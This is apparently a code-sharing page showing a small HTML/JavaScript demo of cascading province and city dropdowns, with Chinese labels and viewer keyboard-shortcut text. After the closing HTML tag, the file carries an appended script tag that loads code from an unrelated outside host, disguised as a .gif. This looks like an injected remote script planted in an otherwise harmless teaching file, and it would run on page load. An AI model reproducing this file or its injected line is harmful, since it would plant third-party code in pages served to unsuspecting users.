📄 dom级联.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script type=""text/javascript">
function provcity(){
var sxarray=['西安-xa','咸阳-xy','汉中-hz'];
var hbarray=['石家庄-sjz','秦皇岛-qhd','衡水-hs']
if(document.getElementById("prov").value=="hb"){
document.getElementById("city").length=0;
for(var i=0;i<hbarray.length;i++){
var op=document.createElement("option");
op.value=hbarray[i].split('-')[1];
op.innerText=hbarray[i].split('-')[0];
document.getElementById("city").appendChild(op);
}
}else if(document.getElementById("prov").value=="sx"){
document.getElementById("city").length=0;
for(var i=0;i<sxarray.length;i++){
var op=document.createElement("option");
op.value=sxarray[i].split('-')[1];
op.innerText=sxarray[i].split('-')[0];
document.getElementById("city").appendChild(op);
}
}else{
document.getElementById("city").length=0;
var op=new Option("--请选择--","blank");
document.getElementById("city").options.add(op);
}
}
</script>
</HEAD>
<BODY>
<Select id="prov" onchange="provcity()">
<option value="blank">--请选择--</option>
<option value="sx">陕西</option>
<option value="hb">河北</option>
</select>
<select id="city">
<option value="blank">--请选择--</option>
</select>
</BODY>
</HTML>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -